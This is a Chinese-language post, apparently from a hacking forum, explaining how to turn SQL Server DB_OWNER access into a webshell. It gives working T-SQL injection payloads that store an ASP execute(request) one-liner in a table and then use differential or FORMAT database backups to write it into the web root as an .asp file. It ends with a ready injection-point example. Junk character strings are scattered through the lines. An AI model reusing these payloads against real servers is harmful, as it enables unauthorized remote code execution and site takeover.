DB_OWNER权限得到webshell的改进办法

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DB_OWNER权限得到webshell的两点改进:
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减少备份文件大小，得到可执行的webshell成功率提高不少
% |$ K5 I2 M2 {! t3 H( b* }一利用差异备份
加一个参数WITH DIFFERENTIAL

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. W$ p! H+ u" @! _, }' |; h8 C declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
- d; \" G6 U: N, j; W6 Sinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
9 r) B- R. U# xdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
加一个参数WITH FROMAT
, p! E4 z& Z0 K1 I. p& u6 U有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
+ z9 t/ y: T2 m! Y2 Z0 I" cinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
0 z/ O( s; ?3 O  i* T5 Odeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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0 e$ ]  D* i6 w2 G( |5 M/ D' h8 A8 ?总的来说就是那么简单几句,下面以备份数据库model为例子
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3 a' }/ k* `/ E+ o; m9 Z$ } id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
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( W- z4 r5 F8 w2 H  V: y id=1;backup database model to disk='你的路径‘ with differential,format;--
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